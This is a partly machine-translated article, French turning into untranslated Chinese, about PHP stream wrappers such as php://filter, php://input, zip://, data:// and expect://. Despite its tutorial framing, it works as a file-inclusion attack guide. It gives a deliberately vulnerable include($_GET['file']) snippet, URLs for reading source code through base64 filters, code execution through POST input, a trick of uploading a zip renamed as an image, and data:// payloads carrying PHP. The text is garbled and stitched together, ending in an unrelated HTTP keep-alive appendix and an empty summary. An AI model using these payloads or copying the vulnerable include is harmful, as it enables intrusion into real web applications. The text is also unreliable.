Cet article vous présente principalement les informations pertinentes sur les protocoles et les protocoles d'encapsulation pris en charge par PHP. L'article le présente en détail à travers des exemples de codes. Il a une certaine valeur d'apprentissage de référence pour que tous puissent apprendre ou utiliser PHP. ça peut suivre Apprenons avec l’éditeur.
Avant-propos
La technologie de développement de programmes Web d'aujourd'hui est en réalité une centaine d'écoles de pensée, dont ASP.NET, PHP, JSP, Perl, AJAX et ainsi de suite. Quelle que soit l’évolution future de la technologie Web, il est important de comprendre les protocoles de base de communication entre les programmes Web, car cela nous permet de comprendre le fonctionnement interne des applications Web.
PHP est livré avec de nombreux protocoles wrapper de style URL intégrés pour les fonctions du système de fichiers comme fopen(), copy(), file_exists() et filesize(). En plus de ces protocoles de packaging, des protocoles de packaging personnalisés peuvent également être enregistrés via stream_wrapper_register().
Remarque : La syntaxe URL utilisée pour décrire un protocole encapsulé ne prend en charge que la syntaxe schéma://.... Les syntaxes schéma:/ et schéma: ne sont pas prises en charge.
type de protocole php
fichier:// — accéder au système de fichiers local
http:// — accéder aux URL HTTP(s)
ftp:// — accéder aux URL FTP(s)
php:// — Accédez à divers flux d'entrée/sortie (flux d'E/S)
zlib:// — Flux compressés
données : // — Données (RFC 2397)
glob:// — Rechercher le modèle de chemin de fichier correspondant
phar:// — Archive PHP
ssh2:// — Secure Shell 2
rar:// — RAR
ogg :// — Streaming audio
expect:// — Gestion du streaming interactif
PHP.ini
allow_url_fopen : on Par défaut, activer cette option signifie activer le protocole d'encapsulation fopen sous forme d'URL, permettant l'accès aux fichiers objets URL, etc.
allow_url_include : off est désactivé par défaut. Si cette option est activée, elle permet l'inclusion de fichiers objets URL, etc.
fichier : //Protocole
fichier:// – accède au système de fichiers local, non affecté par Allow_url_fopen et Allow_url_include
Utilisation
fichier:// [chemin absolu et nom du fichier]
http://127.0.0.1/code/1.php?file=file:///E:\phpStudy\WWW\code\phpinfo.php
php://protocol
php:// — Accédez à diverses entrées/ flux de sortie (flux d'E/S)
Vous n'avez pas besoin d'activer Allow_url_fopen, seuls php://input, php://stdin, php://memory et php://temp doivent activer Allow_url_include .
php://stdin, php://stdout et php://stderr
php://stdin, php:/ / /stdout et php://stderr permettent un accès direct aux flux d'entrée ou de sortie correspondants du processus PHP.
php://stdin est en lecture seule, php://stdout et php://stderr sont en écriture seule.
php://stdin
<?php while($line = fopen('php://stdin','r')) {//open our file pointer to read from stdin echo $line."\n"; echo fgets($line);//读取 } ?>
php://stdout
<?php $fd = fopen('php://stdout', 'w'); if ($fd) { echo $fd."\n"; fwrite($fd, "test"); fwrite($fd, "\n"); fclose($fd); } ?>
php://stderr
<?php $stderr = fopen( 'php://stderr', 'w' ); echo $stderr."\n"; fwrite($stderr, "uknow" ); fclose($stderr); ?>
php://filter
Le pseudo-protocole le plus couramment utilisé peut généralement être utilisé pour lire n'importe quel fichier.
php://filter est un méta-wrapper conçu pour filtrer les applications lorsqu'un flux de données est ouvert. Ceci est utile pour les fonctions de fichier tout-en-un comme readfile(), file() et file_get_contents(), où il n'est pas possible d'appliquer des filtres supplémentaires avant la lecture du contenu du flux.
Paramètres
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
<?php include($_GET['file']) ?>
http://127.0.0.1/code/1.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://input
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
allow_url_fopen :off/on
allow_url_include:on
zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
allow_url_fopen :off/on
allow_url_include:off/on
使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
http://127.0.0.1/code/1.php?file=zip://E:\phpStudy\WWW\code/1.zip%231.txt
data://协议
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
http://127.0.0.1/code/1.php?file=data://text/plain,<?php phpinfo()?> http://127.0.0.1/code/1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
glob://协议
glob:// — 查找匹配的文件路径模式
<?php $it = new DirectoryIterator($_GET['file']); foreach($it as $f) { printf("%s", $f->getFilename()); echo'</br>'; } ?>
expect://协议
expect:// — 处理交互式的流
该封装协议默认未开启
为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。
用法
expect://command
附:HTTP协议是无状态的和Connection: keep-alive的区别
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系
HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(无连接)
从HTTP/1.1起,默认都开启了Keep-Alive,保持连接特性,简单地说,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接
Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间
总结
Reference
PHP
php伪协议实现命令执行的七种姿势
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!